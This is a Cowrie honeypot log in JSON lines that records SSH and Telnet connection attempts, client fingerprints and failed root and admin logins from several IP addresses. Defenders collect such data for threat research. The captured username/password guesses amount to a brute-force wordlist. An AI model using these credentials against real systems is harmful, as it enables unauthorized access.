{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":10060,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc17d7a0411","protocol":"ssh","message":"New connection: 101.36.119.184:10060 (10.17.0.5:22) [session: bcc17d7a0411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:35.916463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:35.922921Z","src_ip":"101.36.119.184","session":"bcc17d7a0411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:36.148420Z","src_ip":"101.36.119.184","session":"bcc17d7a0411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"squid","message":"login attempt [admin/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:37.061096Z","src_ip":"101.36.119.184","session":"bcc17d7a0411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:38.285030Z","src_ip":"101.36.119.184","session":"bcc17d7a0411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.221.180.165","src_port":46394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9a6025c3567","protocol":"ssh","message":"New connection: 18.221.180.165:46394 (10.17.0.5:22) [session: f9a6025c3567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:50.015792Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.221.180.165","src_port":34196,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e40de1f72ca","protocol":"telnet","message":"New connection: 18.221.180.165:34196 (10.17.0.5:23) [session: 7e40de1f72ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:50.426862Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:50.729568Z","src_ip":"18.221.180.165","session":"f9a6025c3567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.34678196907043457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:50.773520Z","src_ip":"18.221.180.165","session":"7e40de1f72ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"568ed5e8ead2","protocol":"telnet","message":"New connection: 212.55.149.117:39596 (10.17.0.5:23) [session: 568ed5e8ead2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:01:51.711034Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43402,"dst_ip":"10.17.0.5","dst_port":22,"session":"716d2f334a72","protocol":"ssh","message":"New connection: 2.57.122.210:43402 (10.17.0.5:22) [session: 716d2f334a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:09.848799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:09.932065Z","src_ip":"2.57.122.210","session":"716d2f334a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:09.990692Z","src_ip":"2.57.122.210","session":"716d2f334a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:10.429220Z","src_ip":"2.57.122.210","session":"716d2f334a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:11.534275Z","src_ip":"2.57.122.210","session":"716d2f334a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"a15848ad2452","protocol":"ssh","message":"New connection: 103.15.226.202:43712 (10.17.0.5:22) [session: a15848ad2452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:37.807385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:37.812642Z","src_ip":"103.15.226.202","session":"a15848ad2452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:38.067758Z","src_ip":"103.15.226.202","session":"a15848ad2452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10203040","message":"login attempt [root/10203040] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:38.814380Z","src_ip":"103.15.226.202","session":"a15848ad2452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:40.080424Z","src_ip":"103.15.226.202","session":"a15848ad2452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.481017112731934,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:52.192048Z","src_ip":"212.55.149.117","session":"568ed5e8ead2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":36276,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb30eff25019","protocol":"ssh","message":"New connection: 2.57.122.193:36276 (159.203.135.109:22) [session: eb30eff25019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:59.858453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:59.866935Z","src_ip":"2.57.122.193","session":"eb30eff25019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:02:59.972554Z","src_ip":"2.57.122.193","session":"eb30eff25019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:00.440204Z","src_ip":"2.57.122.193","session":"eb30eff25019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":16376,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d85223db0fe","protocol":"ssh","message":"New connection: 193.24.211.100:16376 (159.203.135.109:22) [session: 0d85223db0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:26.046827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:26.051344Z","src_ip":"193.24.211.100","session":"0d85223db0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:26.176700Z","src_ip":"193.24.211.100","session":"0d85223db0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123","message":"login attempt [root/QAZwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:26.681359Z","src_ip":"193.24.211.100","session":"0d85223db0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:03:27.797313Z","src_ip":"193.24.211.100","session":"0d85223db0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":16981,"dst_ip":"10.17.0.5","dst_port":23,"session":"21cc881cd993","protocol":"telnet","message":"New connection: 212.55.149.117:16981 (10.17.0.5:23) [session: 21cc881cd993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:06.368502Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":57664,"dst_ip":"159.203.135.109","dst_port":22,"session":"6050b06ae4d3","protocol":"ssh","message":"New connection: 183.80.167.41:57664 (159.203.135.109:22) [session: 6050b06ae4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:09.758025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:09.764727Z","src_ip":"183.80.167.41","session":"6050b06ae4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:10.058391Z","src_ip":"183.80.167.41","session":"6050b06ae4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:10.774950Z","src_ip":"183.80.167.41","session":"6050b06ae4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:12.022176Z","src_ip":"183.80.167.41","session":"6050b06ae4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":57676,"dst_ip":"159.203.135.109","dst_port":22,"session":"41eec28b4bbe","protocol":"ssh","message":"New connection: 183.80.167.41:57676 (159.203.135.109:22) [session: 41eec28b4bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:12.284652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:12.291623Z","src_ip":"183.80.167.41","session":"41eec28b4bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:12.538437Z","src_ip":"183.80.167.41","session":"41eec28b4bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:13.304665Z","src_ip":"183.80.167.41","session":"41eec28b4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:14.554624Z","src_ip":"183.80.167.41","session":"41eec28b4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":57692,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c75b7bad973","protocol":"ssh","message":"New connection: 183.80.167.41:57692 (159.203.135.109:22) [session: 8c75b7bad973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:14.833587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:14.839012Z","src_ip":"183.80.167.41","session":"8c75b7bad973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:15.096456Z","src_ip":"183.80.167.41","session":"8c75b7bad973","protocol":"ssh"}
